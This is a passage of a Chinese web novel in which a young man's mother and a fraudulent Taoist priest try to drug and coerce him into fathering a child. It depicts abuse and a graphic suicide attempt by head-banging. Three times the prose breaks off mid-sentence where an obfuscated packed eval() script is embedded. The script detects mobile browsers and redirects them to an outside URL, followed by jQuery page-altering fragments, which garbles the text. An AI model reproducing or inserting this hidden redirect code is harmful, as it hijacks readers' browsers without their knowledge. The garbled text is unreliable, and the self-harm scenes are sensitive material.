小小的江耀仰起脸,嘴角弯起得意而恶劣的弧度,对兰澈天真道:“他是我亲哥哥,你个外来货!”
“江耀!”蹲在他身前的江清圆猛地抬起头,厉声道,“给兰澈道歉!”
江耀从来没有见过江清圆这么冰冷的神色,哪怕每回知道他和别人打架了,江清圆都是很温和地劝说:“下次不要和别人打架了,这是不对的,知道吗?”
语气低低柔柔的,倒像是乞求。
江耀被他吓到了,随即哇的一声嚎哭了出来。
江清圆竟然为了兰澈骂他!他怎么敢!
更让他意外的,蹲在他身前的哥哥不为所动:“兰澈是你姐姐,你不该这样给她说话,给她道歉,以后也不要让我听到你这么没礼貌。”
“哭也没用,”江清圆严肃地道,“再哭你就自己坐这里哭,我等你什么时候哭够了,再给你姐姐道歉。不然你中午饭就不用吃了。”
那双平日里总是笑盈盈的漂亮眼睛冷起来,吓得旁边的阿姨不敢说话。
江耀一把鼻涕一把眼泪地止住了嚎哭,在江清圆严厉的目光下,不情不愿地对兰澈含糊地道:“对不起。”
兰澈站在江清圆身后,是这个家里此时最不害怕的人,她弯起眼睛,欢快地道:“小屁孩,你再这么作,迟早没哥哥。”
说完在江清圆转过头来之前,飞快地溜回了屋。
江清圆低垂着眼睫,小心翼翼地将纱布盖在最严重的那个伤口上,如果宋柏不问起来,这些好久以前的记忆,他都要控制着自己忘得差不多啦。
此时想起来,江清圆也不愿意深说下去。
又不是什么快乐的事情。
他轻轻摁了摁纱布,又掀开看了看,见没有再渗血,才放心地将纱布贴紧。
宋柏的肤色接近健康的小麦色,有些小的擦伤不容易被看见,江清圆很耐心地一寸寸看过去,保证每一个细微的伤口都有分配到纱布。
“还有前面。”江清圆再一次举着碘伏瓶。
“不用了,”宋柏穿上睡衣,哪里还敢让他再碰自己前面,“前面的我自己来上药就可以。”
他声音坚决,前面也方便自己上药,江清圆没有再坚持,将碘伏瓶递给他。
“你身上没有伤吗?”碘伏瓶被宋柏接过的时候,江清圆听见他这么问。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074090|179295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有啊。”江清圆给他看自己一点伤没有受伤的双臂,笑盈盈的,“还要谢谢你。”
宋柏视线垂下,从他腿上一掠而过,又重新看向他眼睛,很认真地又问了一遍:“真的没有一点伤吗?”
江清圆已经收回手臂,同样很认真地摇了摇头。
“没有,我身上没有伤。”
*
有了前一天被人在山上拿着斧子追后,江清圆三人短时间内再也不敢贸贸然往山上跑了。
所幸他们山上该采过的音也都采过了,接下来的两天时间里,江清圆跟着宋柏和吴家兴去的都是一些会有人类出没的地方。
最后一天采集的更是景区环境音,三人就这样在山脚景区里的一家咖啡店里窝了一下午。
趁着宋柏去安置录音设备,吴家兴凑近江清圆,挠了挠头上薄了很多的纱布:“还有个事没给你说,对不起啊,一开始在小红书和你聊天的人是我。”
这两天吴家兴算看出来了,宋柏这老小子好像真是认真的,他从来没有见过他对一个人那么上 心过。
哪怕是亲如兄弟的自己,吴家兴颇有些感慨地想着,虽然江清圆好像并没有察觉。
最重要的是,吴家兴觉得江清圆这人真不错,短短相处的这两天,每次见他都是笑盈盈的,做事呢,也真心。
吴家兴手机里正躺着一张没捂热的话剧入场二维码,这是他一直想看的一个剧,但因为热度大,向来一票难抢。昨天晚上开票的时候又没抢到,吴家兴哀嚎了两句,第二天就收到了江清圆发来的入场二维码。
“这个剧场我比较熟,这是剧场给我的赠票,我最近没空看,你拿去看吧。”
吴家兴知道这是他在谢谢这几天自己的招待。
吴家兴看着对面的江清圆,如果宋柏以后真要和人在一起后,身为朋友,有些话自然要早点说开,以免在以后徒增误会,影响大家关系。
“宋柏和我说过了,”江清圆愣了一下,笑道,“你不说我都已经忘了。”
“宋柏说是宋柏说,我说是我说,”吴家兴也不是扭捏的人,“那你忘了我也就一起忘了吧。”
江清圆和他都笑了起来。
“对了,”吴家兴又想起来一个事,“你给我转的那一万块钱,我就不收了哈,老宋柏已经付过了。”
“实话告诉你吧,”吴家兴喝了一口咖啡,“这回采的音频,不只用于作业。”
“我和宋柏一起在创业,”吴家兴正经了脸色,“这以后可能是要商用的,按理说我俩都应该要付你工资,你免费帮忙已经很够意思了,再掏住宿费,让我脸往哪搁。”
他顿了顿,还是说道:“况且,宋柏帮了我不少。”
他就更不能要江清圆的钱了。
当然这话也就宋柏听不到的时候吴家兴才能说出口,他转了变了脸色,恢复了平常贱兮兮的样子:“你要真是想付钱,就帮我好好折磨宋柏吧,我早看他小子不顺眼了!”
江清圆没有说话,默默看向他背后站着的宋柏。
吴家兴想象着宋柏被折磨的样子,傻笑着跟着江清圆的视线转过头去,下一秒,笑容就变成了哀嚎。
三个人就在这悲喜交加的氛围里采完了最后一段音,没有再在山里继续住,连夜赶回了涧州市里。
明明只去了三天,江清圆却觉得像去了几个月,可能是自己本来就不怎么出去玩的原因,江清圆洗漱完,躺在床上想着。
他胸膛里洋溢着一股子迟来的,飘飘然的感觉,江清圆把被子拉到下巴下面,手在被子下面摸了摸自己的胸膛,好久才反应过来,这种感觉应该是快乐。
如果再浓一点,就是幸福了吧。
江清圆下半张脸缩到被子里面,只露出一双亮亮的眼睛,任这种飘飘然从胸前蔓延到全身,让他的脑子同样飘飘然地想着,能感受到快乐,就已经很幸福了。
这一夜江清圆没有用安眠药,也睡了一个好觉。
第二天竟然九点才醒,吴家兴昨晚和他们一起回来的,宋柏今早七点要赶到学校和他一起整理这三天采的音,现在已经不在小别墅了。
因此江清圆听到楼下动静的时候,还以为是黄阿姨来打扫卫生。
好久没见到黄阿姨了,他楼梯下到一半,想逗黄阿姨笑,就从栏杆里伸出脑袋,要像恐怖片里演的那样,给她打招呼。
下一瞬,笑容就僵在了江清圆脸上。
一楼的客厅里,兰盛莲面无表情地仰头看着他,身旁站着足足六个人。
17. 17
江清圆在被窝里捂了一夜,此时还算温热的手刷一下冰凉一片。
一楼,兰盛莲看着他从楼梯栏杆里伸出来的脑袋,嘲讽地笑了一声。
江清圆脸上僵固的笑容进一步转变成难堪,在她的视线里,慢慢将脑袋从栏杆里缩了回去。
一分钟后,江清圆规规矩矩地从楼梯上走下来,站到了兰盛莲面前,低声叫道:“妈妈。”
他说完,视线去扫站在她身边的人,最后停到了离她最近的那个人身上,顿了顿,江清圆同样低声招呼道:“吕道长。”
那是一个中年男人,穿了身藏蓝色的道袍,戴着一副儒雅的无框眼镜,细细的胡子垂着胸前,简直是按照刻板印象里的当代高深道士长的。
吕驾鹤微微颔首,一甩手里的拂尘,端的是仙风道骨之姿:“小友好,好久不见。”
听见他的声音,江清圆垂在腿侧的指尖不由得颤了颤。
“怎么,看到我你很不开心吗?”兰盛莲慢悠悠跟在吕驾鹤后面开口了,带着江清圆捉摸不透的笑意,“你小男朋友蛮有手段的嘛。”
江清圆没有回答她下半句话,沉默了一下,低声回道:“没有不高兴。”
只是,只是这是兰盛莲从在他13岁从小别墅搬出去后,第一次回来。
明明是三伏的天,江清圆却只感觉指尖冷得发疼,那天任性逃出去的后怕在这一刻灭顶般袭来,将他狠狠砸回了现实。
心脏开始隐隐作痛,江清圆此刻能做的,唯有拼命地抑制着自己的手不要抖,不要让兰盛莲看出他的害怕。
而前两天才看的那场日出,此时想来,竟像是发生在上辈子的一场幻觉了。
兰盛莲没有对他的‘没有不高兴’发表任何回应,能杀死江清圆的沉默蔓延了好一会儿,兰盛莲的声音突然想起,吓了江清圆一跳:“知道自己错在哪里了吗?”
没有孩子不怕家长这么问。
江清圆闭了闭眼,知道自己要赶快回答兰盛莲,他像只待宰的天鹅那般,垂下头,露出自己柔顺的姿态:“我不该自己跑出城玩,不去庄园。”
他刻意地将宋柏在话语中隐去。
“不对。”兰盛莲手指屈起,伸出去敲了三下沙发前的玻璃茶几。
咚、咚、咚!
声音一下比一下大,在死寂的客厅里像是要有回音。
“你错的地方是我让你找女人生孩子,你给我找了个男的回来!我给你了一个星期反省,现在一个星期过去了,你反省到哪里去了?”
兰盛莲收回手,后背靠回沙发背上,看着江清圆,像宣判死神通知那样轻声问:“你给我说说,你有反省吗?”
江清圆将颤抖的手背在后背,声音比针落在地上还低:“有。”
兰盛莲丝毫不给他喘息的空间:“好,你反省了什么,接下来准备怎么办?给我说说。”
江清圆张了张嘴,沉默了下去。
他不知道怎么办。
他只是不能呼吸,想找妈妈。
孩子害怕的时候,都会想找妈妈的。
可妈妈就坐在他对面。
“您别生气,我来劝劝他,”一道柔和的声音传来,吕驾鹤上前一步,面向了江清圆,谆谆善诱,“小友,你的生日在12月15日,过了那天,你就23岁了。”
“我们说好的,借助你,让你哥哥在明年中秋节左右,重新投胎到这个世界上。”
“这件事只能在你23岁的时候完成,明年中秋在10月份,怀胎也需要十个月,也就是你最晚要在今年12月份之前,让一个女人怀上孕。其实时间已经很紧急了,你妈妈也是着急。”
吕驾鹤叹了一口气:“你和你哥哥是双胞胎,这件事只有你能做,我们也劝了你好多遍,你前面不是都答应了吗?”
“难不成你不想让你哥哥回来?”
他身后,兰盛莲靠在沙发上,缓缓扭过来头,看向窗边的钢琴,钢琴上,江骄在相框里,无忧无虑地朝着她笑。
兰盛莲只看了一眼,眼泪就盈满了眼眶,她伸手捂住嘴,泪眼婆娑里绝望地想着,她的儿子,她的宝贝,已经离开她要13年了。
她本来以为后半辈子都要在悲痛中度过,但一年前她认识了吕驾鹤,这个赫赫有名的道士告诉她,她的骄骄还没有投胎转世,因为太不舍得她,至今魂魄还徘徊在阴界。
兰盛莲一颗裂开的心在这句话里被碾成粉末。
阴间那么黑,到处都是厉鬼,她的骄骄那么小,会不会怕黑,会不会被欺负?
想到这里,兰盛莲什么都顾不得了,她求着吕驾鹤帮帮她,吕驾鹤那么有名,法力那么高深,一定会有办法的。
吕驾鹤果然有办法,他说,如果是别人,他法力再高深,最多也就能引导江骄放下执念,去投胎转世了。
但他们家不一样。
吕驾鹤微微低下头,一双看上去无比智慧的眼睛微微眯起:“江骄是不是还有个双胞胎弟弟活着,今年多少岁了?”
“江清圆?”兰盛莲呆呆地问,“20岁,现在不在涧州,在帝都上大二。”
“来得及来得及,”吕驾鹤呵呵笑了两声,声音像是从九天之外传来,“他和江骄是双胞胎,血脉相通,我可以让江骄借着他,重新投胎回阳间。”
在兰盛莲震惊的眼神中,他摸了摸胡子:“让他从帝都回来吧,那孩子我算了算,命不好,天生克身边的人,江骄车祸中去世,也和他有关系,不然为什么江骄寄了安全带反而没了,江清圆没人给他寄安全带,他倒活了下来?”
吕驾鹤微微叹了一口气,语气慈悲:“能让弟弟重回阳间,也算是赎了他一点罪孽。”
吕驾鹤的声音在脑海里回荡,兰盛莲望着照片里的江骄,手掩着的嘴死死咬着牙冠,眼底燃烧着疯狂。
她一定,一定要将她的骄骄从阴间救回来。
“不是的,”江清圆抬起眼睛,他知道今天彻底躲不过去了,身子都颤抖着,但还是一字一句清晰地道,“我哥哥回不来了,他已经死了,你不要再骗我妈妈了。”
江清圆看向兰盛莲:“哥哥的死是我的错,你想把我怎么办都可以,但是妈妈,哥哥真的回不来了。”
一片死寂。
兰盛莲连给他个眼神的力气都欠奉,她抬了抬手。
吕驾鹤身旁,两个壮硕的黑衣保镖朝江清圆走了过来。
江清圆根本没有反抗的能力。
等他被拖进屋子里的时候,才反应过来这是他给宋柏住的屋子。
从宋柏搬进来后,江清圆就没有再进来过了,他看着屋里干净整洁的陈设,被保镖摔在床上的时候,第一个念头是,要赶快出去,不能把宋柏的房间弄乱了。
他挣扎间,房间里又进来一个人。随即,门被关上了。
“麻烦两位大哥去把窗帘拉上吧。”一个陌生的女声说到。
摁着江清圆的力道松开,两个保镖去关窗拉窗帘,江清圆坐起身,看向站在床边的女人。
女人很年轻,看上去也就二十五六的样子,她很有礼貌地对江清圆笑了笑:“你好,我叫章益。”
“你妈妈找我来,说只要我和你上/床,怀上孩子后,就给我500万。”章益倒也是个干脆性子,开门见山道,“我一辈子都赚不到500万,就答应了。”
章益看着江清圆,心中也是默默松了一口气。她来之前还想着,要给500万才能有女人愿意和他上/床的男的,长得该是多非人哉啊。
意料之外,非常意料之外。
简直是大大的惊喜。
面前的人沉默地看着她,看上去很柔软的发因为拖拽有些凌乱,黑发下,一双线条更为柔和的眼睛紧紧绷着,没有一点笑意,但长在他这张脸上,冷漠也动人。
但章益一点都不觉得害怕,江清圆微红的眼眶一下子戳破了他佯装的冷静,窗帘拉紧,逐渐变暗的床单上,眼前的青年正无力成一颗黑棋盘上的白玉棋子。
“你不用担心,”章益语气不由得柔和了几分,像每个深夜做数学卷子那样,一条条给江清圆分析利弊,“我绝对不会做小说里那种怀了孕后就赖着你的戏码,我就是为了赚这500万来的,怀上了我保证咱们两个这辈子都不会再见面了。”
“这个孩子生下来我会直接给你妈妈,然后拿着这钱出国留学,以后也不会再见他一面,”章益晓之以情动之以理表明自己的无害,“而且,我长得也还不错吧?这种事情,怎么算你也吃不了亏。”
“你要是同意,就点点头,我就让这两个大哥出去了,我们早做早完事,”章益推了推眼镜,也有点不好意思了,“不然还要让他们摁着你,多变态啊。”
章益的声音在他耳边嗡嗡响着,江清圆听见了,却没有力气去明白她在说什么。
他突然很疲惫,只想在这一刻,立刻、干脆地死去。
江清圆连站起来的力气都没有了,他低下头,用尽最后一丝力气抬起手,将自己因拖拽散开的领口重新整理好,好让自己显得不那么难看。
“我对女人硬不起来。”江清圆抬起头,没再看章益,随便将自己的视线安放到紧关的门上,语气平得像失去了心跳的心电监护仪,“我是个同性恋。”
章益倒不知道这个,惊讶过后,礼貌对江清圆道:“你稍等。”
她转身出了门,没过两分钟,门就重新被打开了。
江清圆视线里门关了又开,进来的不再是章益,而是另一个斯文的中年男人,提着一个小小的医药箱。
这位他也认识,江家的家庭医生,张善为。
门又被关上了。
张善为来到他身边,将医药箱放到床上打开,从里面取出一个装着液体的密封玻璃瓶,和一个注射针管。
他低头看向自己看着长大的江
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074091|179295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
清圆,心中微微叹了一口气。
“小圆,这东西对你身体没有副作用,”张善为声音很低,温和地说道,“我加了点别的,打进去你就什么都不知道了,只有勃/起反应,等清醒过来的时候,就结束了。”
江清圆仰起头来,漂亮的琥珀色瞳孔颤了颤,像世界上最易碎的宝石,他也轻轻说:“张叔,我是个人。”
不是个任你们摆弄的物件,也会有自己的想法,也会不愿意,也会……伤心难过。
张善为被他这样一看,鼻子一阵酸楚。
才22岁呢。
但他还是用针管提取出了玻璃瓶里的液体,握上了江清圆的手腕。
江清圆低下头,没有再说话,将手腕慢慢从他手里抽了出来。
张善为也沉默着,再次去握他的手。
没有握住。
他身前的江清圆猛地站了起来,下一秒,张善为听见一声巨响,抬起头,就看到江清圆将手腕狠狠地磕在了锋利的床脚上。
“咔嚓——”
是骨头断裂的声音。
张善为目瞪口呆,一时不敢相信怎么会有人对自己能下那么大的狠手,不只是他,站在窗户边的两个要赶过来的保镖都被吓了一跳,僵立在原地。
江清圆并没有结束,他像是感觉不到痛似的,将头狠狠朝床脚撞去。
张善为用上了生平最快的速度,死死抱住了江清圆的腰。
但还是晚了。
又一声巨响。
怀里瘦得没多少肉的身躯软了下来,朝地上滑去,张善为再顾不得什么,将注射针管一把扔到床上,蹲下去捧起了江清圆的脸,朝他额间看去。
汹涌的血汩汩地从江清圆额头流下来,半边脸染血,半边脸惨白。
张善为却大松了一口气。
这傻孩子,刚刚,刚刚是要拿太阳穴往床脚撞啊!
用这么大力,这万一、万一撞上了……
张善为手抖了起来,却顾不得后怕,怀里的人仰起头,渐渐开始涣散的瞳孔里燃烧着让人心惊的死意,江清圆盯着床脚,仰着头竟还要往上面撞。
张善为颤抖着手,将他的头掰回来,伸向药箱掏出纱布,往他流着血的额头上摁。
就在这时,门又开了。
兰盛莲从客厅听到动静后赶过来,一开门,也被眼前看到的景象吓了一跳。
她那个在她面前向来像鹌鹑的儿子此时正无声无息地委顿在地上,从张善为怀里伸出的手臂软绵绵地垂在地板上,没有一点生气。
兰盛莲心跳停了一瞬,视线里江清圆的腿微微蹬了蹬,推着他继续朝床脚挣扎。
兰盛莲心中一松,紧接着不知从哪里来的怒气就冲向了她脑子,她上前两步,穿着高跟鞋的脚狠狠地朝江清圆小腿上踹了两脚:“没用的东西,你害死你哥哥一次,还想害死他第二次吗?!”
张善为连忙抱紧了江清圆,抬起头对兰盛莲摇摇头:“这活我干不了。”
他颤抖着声音,不知道说给自己听,还是说给兰盛莲听:“我是个医生啊,救死扶伤的医生……”
但他刚刚却差点杀了人。
兰盛莲收回脚,看向张善为,语气到客气很多:“张医生,您可是要想好了。您孩子今年要上小学了吧,你老婆想让他上涧州最好的实验一小,那是不是要在实验一小附近买个学区房?”
“还有你那个亲弟弟,”兰盛莲道,“赌博欠了200万,你就这么一个亲弟弟,你管不管?”
兰盛莲没有停:“还有我记得,你丈母娘去年查出来肺癌了吧,这病可要不少……”
她话没有继续说下去——张善为伸手重新拿起了注射针管。
张善为握着针管,不敢看江清圆的眼睛,但江清圆似乎是被兰盛莲揣醒了,嘴巴一开一合,好像在说什么,只是声音太小。
张善为弯下腰去,将耳朵凑到他嘴巴,听到了江清圆说的话。
“妈妈,好疼。”
孩子受到挫折或疼痛需要安抚的时候,会下意识喊妈妈。
张善为在医院,这样求安抚的话已经听了不知道多少遍,应该早已麻木。
但听到江清圆这句妈妈,他眼睛一眨,泪还是落了下来。
握着针管的手悬在半空中,张善为的手怎么都落不下去了。
兰盛莲眉头一皱,还要说些什么,背后的声音比她更快。
“老板,再继续下去的话,我就报警了。”方铭华举着手机,上面是电话页面,110三个数字蓄势待发,只差一按下一个拨通键。
他从一进门开始就一忍再忍,此时见到江清圆这样子,实在忍不下去了:“法治社会,自己的儿子也不能这么欺负吧。”
“我报。”
他身后,宋柏刹住脚步,一双眼睛看向江清圆,急速奔跑带来的喘息还没平静,一股滔天的怒火就席卷了他。
18. 18
宋柏第一眼先看到的是江清圆垂在地上的手,以一种断裂的怪异的姿势垂在那里。
两天之前,它还被自己牵过,很乖,被握得久了,指尖就会轻轻蜷缩一下。
而现在这双手上,深深布着被用力掐出的印子,宋柏颤抖的目光顺着这些印子往上看去,看见了更红的血。
江清圆额头上的血已经流到了手臂上。
宋柏不知道自己是怎么走过去的,张善为从来没有见过这么可怖的脸色,在他伸过来手的时候,将江清圆递给了他。
宋柏的手接过张善为托上江清圆后颈,刚碰上,就感觉江清圆的头软趴趴地向旁边倒去。宋柏一下子慌了神,朝张善为看去。
“别害怕,是流血过多晕过去了,”张善为指挥着宋柏,“来,对,你摁紧他额头的纱布。血快止住了。”
等宋柏摁住纱布,张善为站起身,他默默将注射针管放回药箱:“兰老板,对不起,这活我干不了。”
“我是个医生,办公室还挂着患者送的锦旗,小圆这孩子我从小看着长大的,”他背起药箱走到兰盛莲跟前,“你们家只有他从来没有大声对我说过话,哪怕是…刚刚,就算我孩子要上学丈母娘要看病,但也不能拿沾着小圆血的钱去上学治病。今天算是我被钱迷了心,您另请高明吧!”
他说完,不愿多留,匆匆朝别墅外走去。
第二个走的是那两个保镖,他们只领了份保镖的工资,见人出了事,什么话都不想说,只想离开这个地方。
和他们同时离开的是章益,她看着地上转眼就变成了这样的江清圆,像是看见了一个犯罪现场,几乎是像一个嫌疑人一样,逃窜着出了小别墅。
兰盛莲看着自己找来的人一个个离开,没有开口阻止。
她沉默地站在那里,回想着张善为刚刚给他说的话,心里只有一个念头——她的骄骄如果还活着,一定会比江清圆更招人喜欢。
凭什么江骄在永远停在了10岁,而害死他的江清圆还好好躺在这里?
兰盛莲充满愤恨地笑了一声:“别以为你现在装死,就能永远躲过去。”
说罢,连看都没看宋柏一眼,转身朝门外走去。
吕驾鹤垂眸,充满怜悯地看了一眼江清圆后,跟上了兰盛莲。
“要帮忙打120吗?”最后没走的方铭华问。
“不用,”宋柏没有抬头,摁着纱布的手微微松了松,江清圆额间的血终于止住了,他微微松了口气,“谢谢你微信告诉我他出事了。”
方铭华苦笑道:“可能以后也没法告诉你了。”
他是兰盛莲的司机,兰盛莲离开的时候,没有叫上他。
方铭华猜,以她的聪明,一定也明白了上回在庄园,宋柏是怎么突然出现的。
“我会为你找份新工作的,薪水待遇不会比在兰盛莲手底下差,”宋柏抱着江清圆站起来,语气是刻意压抑才维持的冷静,“麻烦请你也离开,我现在不想看见你们当中的任何一个人。”
等方铭华也不见了,宋柏望着除了他和江清圆之外再没人的屋子,浑身竖起的刺才放下。
怀里的人好像更轻了,轻得宋柏的手臂要收得好紧好紧,才能感觉到他的温度。
宋柏低下头,将脸颊贴上江清圆的脸颊,因流血过多而失温冰凉的触感刺激得他颤了一下,宋柏从未如此害怕过,他像一个懦夫那样,胆怯地轻轻开口,叫了一声:“圆圆。”
小小的呼唤响在空荡荡的房间里,没有回应。
宋柏指尖一颤,不再耽搁,抱着江清圆朝别墅门外走去。
在他踏出自己房间的那一刻,怀里的人动了动,一道很微弱很微弱的声音响起:“宋柏?”
江清圆能感觉到自己被人抱了起来。
他本来就是被人抱着的,应该是张叔?江清圆迷迷糊糊地记起来了一点,张叔力气太大了,勒得他喘不上气,但江清圆一点儿没想挣扎。
他只想死,专心致志,热情高涨地想去死。
所以越喘不上气,心里越高兴。
可突然就能顺畅地呼吸了,江清圆感觉自己来到了另一个怀抱,这个怀抱安稳而温暖,有点像哪个夜晚他枕在谁的肩膀上,被稳稳地背着,哪怕是深山里,也会忍不住打瞌睡。
江清圆这回同样想睡去,但耳朵贴着的地方,他听见了一下又一下急促的心跳。
“圆圆。”
江清圆听到心跳这么说。
是在叫他吗?从来都没有人这么叫过他,叫得江清圆想蜷缩起来。
可他更为心跳担心,怎么跳得那么快?
一下下像在在打鼓,这让江清圆也着急起来,想问问是出什么事情了,为什么会这么慌张?
死亡被搁置一边,江清圆凭着这个念头,努力地在黑暗里睁开眼睛,看见了一张模模糊糊的熟悉的脸。
“宋柏?”他茫茫然地,小心地确定了一声。
宋柏低下头,江清圆感觉一滴雨水滴到自己脸上,但雨怎么是热的呢?脑袋太痛,江清圆想了好久,才想明白。
原来是泪水啊。
“我召唤了。”他不想让宋柏在自己脸上下雨了,于是这么说。
宋柏认真看着他还涣散着的眼睛,很温柔很温柔地问:“召唤什么了?”
“宋柏第一定律啊,”江清圆弯了弯眼睛,“果然有用,然后你就出现啦。”
他不会告诉宋柏,他想起他,是希望他可别突然有什么事,在这个时候回来。
现在他应该高兴了点吧,江清圆想。
“下次早点召唤,好不好?”宋柏愣了一下,声音有些哑。
在自己受伤之前。
他从衣柜里掏出一件自己的外套,将半边身子是血的江清圆裹起来,这次没有再遵守什么该死的社交距离,宋柏低下头,拿鼻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074092|179295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尖碰了碰江清圆鼻尖:“我带你去医院。”
却不料,听见这句话的江清圆在他怀里突然颤抖了起来,江清圆像炸毛的猫,顾不得头上的伤,弓起脊背,就要从他怀里跳出去。
这么挣扎间,额头刚稳住的伤口又开始往外冒血。
“不去了,我们不去了。”宋柏退回房间里,将应激的江清圆摁在怀里,连声道,“圆圆别怕,我不带你去医院了。”
一直说了好多遍,怀里的江清圆才安静下来。
宋柏的手一下下地撸着怀里人的背,一直等到他的喘息平静下来,才低声问道:“为什么不愿意去医院?”
好久好久,怀里才有低低的声音传来:“我哥哥就是在医院去世的。”
宋柏闭了闭眼睛。
哪怕江清圆没有再多说,宋柏也能猜到在医院里,江清圆经历的不止是看到哥哥去世那么简单。
“那我叫医生来家里看好不好?”宋柏俯下身,努力朝他弯起眼睛,“总不能不治伤对不对?”
他怀里,江清圆睁大着眼睛,点了点头:“谢谢你。”
宋柏看着这双眼睛,江清圆半面脸都是血,半面脸惨白,明明该很可怖,偏一双眼睛湿漉漉的,柔软澄澈,这么信任地望着你,让人一点都害怕不起来。
宋柏一颗心又酸又疼,像是被放在锅里熬煮,煮得他喉咙发痛,什么话都说不出来。
“我先抱你回屋。”缓了又缓,宋柏哑声道。
江清圆没有再挣扎,宋柏抱着他起身,往楼上走去。
上台阶之前,他想起江清圆之前的嘱咐——非必要不要往楼上走。
宋柏低下头,江清圆在他怀里已经闭上了眼,微微弯起的长长眼睫下,呼吸微弱得让人感受不到。
宋柏没有再叫醒他,抬脚上了台阶。
他的脚步在楼梯拐角处,停了下来。
宋柏几乎是愣在了原地,他抬头,视线里先出现的是沾满了符箓的天花板,红色黑色黄色推挤在一起,扭曲狰狞的线条遮住了天花板的颜色,像一条扭摆的毒蛇,指向楼梯旁的那间屋子。
宋柏上了二楼,站到了那个屋子紧闭的房门前。
房门上也布满了符箓,让人喘不上气。
宋柏握住唯一没被遮住的门把手,微微用力,拧开了房门。
如果说门外的符箓是杂草,屋里的符箓简直长成了片密不透风的森林,只留下几块空地,来存放必须的床和桌椅。
那是一个高低床,同样的桃木色,一看就不是给成人睡的。
床上铺没放东西,下铺的床上用品同样是儿童图案。
宋柏走近,床单被罩虽然很干净,但一看就用了很多年,已经发白。
它们以及高低床和同样年岁的桌椅一起,配合着符箓,将这个房间变成了一个牢笼。
然后用这个牢笼,将江清圆牢牢地困在了10岁那年。
19. 19
宋柏将江清圆轻轻放到床上,印象里周围朋友只有吴家兴有当医生朋友,宋柏给他打了个电话。
宋柏早上到了学校,又离开学校的突然,吴家兴正在等他电话,听了宋柏电话里简单交代的情况后,二话没说,立马要了个地址,说医生半个小时到。
“张主任是我妈妈的朋友,现在是家私立医院的外科主任,医术这方面你就放心将你老…”吴家兴脱口而出想说老婆,又想起宋柏认真给他说过,江清圆现在并不知道他的心意,这么贸然给他按这个称呼,是对江清圆的不尊重,于是话头一转,“老喜欢的小圆交给她吧!”
说完又想起宋柏没谈过恋爱,作为过来人,殷勤嘱咐道:“还有学校这边耽误一两天没问题,你不用着急回来,陪人要紧。我给你说,要我受伤躺在床上,谁给我端茶倒水,哎呦喂,我做鬼都能记住他!”
宋柏真心实意谢过他前半段,又无情在他后半段没说完时挂了电话。
所幸吴家兴虽然满嘴跑鬼,但做事还是很靠谱,半个小时后,张主任果然如约到达。她没有寒暄,直奔向躺在床上的江清圆。
纵然是宋柏已经给江清圆擦干净了脸上的血,张主任还是被他额头上的伤口吓了一跳。
惊讶只维持了一瞬,张主任的专业性让她马上干脆地给江清圆的伤口开始消毒、上药、包扎。
宋柏在旁边以一种学生的姿态站着,看得专心致志。
江清圆腿上还有很多伤没有处理。
“注意好之前不要沾到水,如果后续严重化脓了,还是要去医院,可不能避讳去医院啊,”张主任的女儿和他们差不多大,见江清圆这样,忍不住板起亲和的圆脸,带上了家长的语气,“换药的时候也要小心,不然容易留疤。这么好看一张小脸,留疤了多不好。”
宋柏一下下地点头,没有丝毫的不耐烦。
他认真的态度让张主任很满意,嗯了一声后,张主任又去看江清圆扭曲的手肘,仔细摸了摸,严肃的脸上神色不由得一松:“还好只是普通错位。”
她说着,一只手握着江清圆手腕,一只手捏着他的手,一用力,只听咔嚓一声轻响,江清圆扭曲的手腕就恢复了正常的样子。
“好喽,”张主任视线扫过他小臂上已经开始青紫的手印,心中叹息一声,将他的手塞回被子下,“我摸着是没有碎骨,但还是建议后续去医院拍个片子再确认一下,还有,这些手印我等会儿留点药,醒来后涂涂吧。”
“我会带他去的,谢谢您,”宋柏恳挚地向她道谢,他上前,弯腰用手背轻轻碰了碰江清圆额头,又切切地问道,“张主任,还有一个问题想询问您,他总是反复发烧,是什么问题?”
手背下的额头又是滚烫一片,宋柏搬进来后,江清圆总是在发烧。
让人难免产生幻觉,他一生都是一场绵长的发热。
“免疫力低下!”张主任说起来这个就又来气了,她握起来江清圆另一只好的手,“你看看这瘦的,能有个100斤没?明显的营养不良嘛!我说就是你们这些年轻人天天玩手机玩的,学里面减肥。减肥是没问题,但要运动着减嘛,哪能饭都不好好吃了?靠把自己饿瘦,这不饿出来个免疫力低下!”
宋柏安静地听她说完后,又问:“除了这个,有没有精神方面的原因?”
